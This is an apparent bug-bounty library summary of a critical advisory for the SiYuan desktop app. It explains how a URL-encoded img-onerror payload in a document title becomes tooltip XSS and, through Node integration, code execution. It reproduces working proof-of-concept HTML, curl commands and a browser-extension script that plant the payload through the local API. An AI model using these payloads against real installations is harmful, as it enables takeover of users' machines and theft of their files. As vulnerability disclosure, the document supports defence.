# SiYuan: Electron Renderer RCE via decodeURIComponent-driven tooltip XSS in aria-label sink (incomplete fix for CVE-2026-34585)

SiYuan tooltip handler decodes aria-label with decodeURIComponent before innerHTML, so a doc title containing %3Cimg onerror=%3E yields renderer XSS and RCE via nodeIntegration.

- Payout: Research
- Severity: critical
- Program: SiYuan
- Found by: amwhoi
- Disclosed: 2026-05-08
- CVE: CVE-2026-44588
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-25rp-h46x-2hjm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-25rp-h46x-2hjm
- Tags: area:os domain:desktop impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:electron technique:chained technique:incomplete-fix technique:source-review vuln:rce vuln:xss

**Target:** Electron desktop app renderer (search results, AV columns, file-tree tooltips)
**Root cause:** escapeAriaLabel only escapes HTML special chars and leaves %XX URL escapes intact; the consumer popover.ts applies decodeURIComponent to the aria-label before assigning to innerHTML in tooltip.ts, converting %3C into a literal tag-open character.
**Steps:**
1. Create a doc via `/api/filetree/createDocWithMd` in a notebook.
2. Rename it with `/api/filetree/renameDocByID` to title `%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E`.
3. Open search panel (Ctrl+P), type `trigger` so the result row renders `aria-label="${escapeAriaLabel(title)}"`.
4. Hover the result: popover.ts reads getAttribute, calls `decodeURIComponent(tip)`, tooltip.ts sets `messageElement.innerHTML = message`.
5. HTML parser creates `<img src=x>`, onerror fires; with nodeIntegration:true the handler can `require('child_process')`.
**How found:** Noticed the encoder escapeAriaLabel only handles HTML special chars while the consumer popover.ts unconditionally applies decodeURIComponent to aria-label before innerHTML; reasoned that URL-escapes survive the encoder and become literal `<` at the sink, and disproved the naive double-HTML-decode theory by browser testing that entity-derived `<` is text, not a tag-open.
**Exploitation:** Attacker plants a URL-encoded `<img onerror>` payload in a doc title (via local API, malicious browser extension with chrome-extension:// origin, shared .sy.zip import, or sync peer). Victim hovers the search result; decodeURIComponent turns %3C into a real `<`, innerHTML parses the tag, onerror executes JS in a renderer with nodeIntegration:true, contextIsolation:false, webSecurity:false, giving arbitrary code execution and filesystem/credential access.
**Escalation:** Renderer XSS escalates to full RCE because nodeIntegration is enabled and contextIsolation disabled, allowing require('child_process'); same sink reachable from AV column names, AV select options, and file-tree tooltips.
**Insight:** When an attribute is written with an HTML-entity encoder but read back and passed through decodeURIComponent before innerHTML, %XX escapes become literal tag delimiters — audit any getAttribute→decode→innerHTML chain, and remember entity-decoded `<` is text while URL-decoded `<` is a real tag-open.

## Proof of concept (copied exactly from the original report)

**Browser-only decode-chain validation HTML**

```
<!doctype html>
<html><body>
<h2 id="status">Click "Simulate" — if status turns red, the chain works.</h2>
<span id="src" class="ariaLabel"
      aria-label="%3Cimg src=x onerror=&quot;document.getElementById('status').innerText='RESULT: payload fired — chain works'; document.getElementById('status').style.color='red';&quot;%3E"
      hidden></span>
<button onclick="
  let tip = document.getElementById('src').getAttribute('aria-label');
  console.log('after getAttribute:', JSON.stringify(tip));
  try { tip = decodeURIComponent(tip); } catch(e){}
  console.log('after decodeURIComponent:', JSON.stringify(tip));
  document.getElementById('out').innerHTML = tip;
">Simulate SiYuan tooltip</button>
```

**curl chain planting malicious doc title**

```
DOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \
  -H 'Content-Type: application/json' \
  -d "{\"notebook\":\"$NOTEBOOK_ID\",\"path\":\"/tooltip-xss-poc-$$\",\"markdown\":\"trigger me — open the search panel, type 'trigger', and hover this result\"}" \
  | python -c 'import sys,json; print(json.load(sys.stdin)["data"])')
echo "DOC: $DOC_ID"

curl -s -X POST $API/api/filetree/renameDocByID \
  -H 'Content-Type: application/json' \
  --data-binary @- <<EOF
{"id":"$DOC_ID","title":"%3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E"}
EOF
```

**Browser extension fetch-based payload injection**

```
(async () => {
  const api = (path, body) => fetch('http://127.0.0.1:6806' + path, {
    method: 'POST', headers: {'Content-Type': 'application/json'},
    body: JSON.stringify(body)
  }).then(r => r.json());
  const nb = await api('/api/notebook/lsNotebooks', {});
  const id = (await api('/api/filetree/createDocWithMd', {
    notebook: nb.data.notebooks[0].id,
    path: '/x' + Date.now(),
    markdown: 'trigger'
  })).data;
  await api('/api/filetree/renameDocByID', {
    id,
    title: `%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E`
  });
})();
```

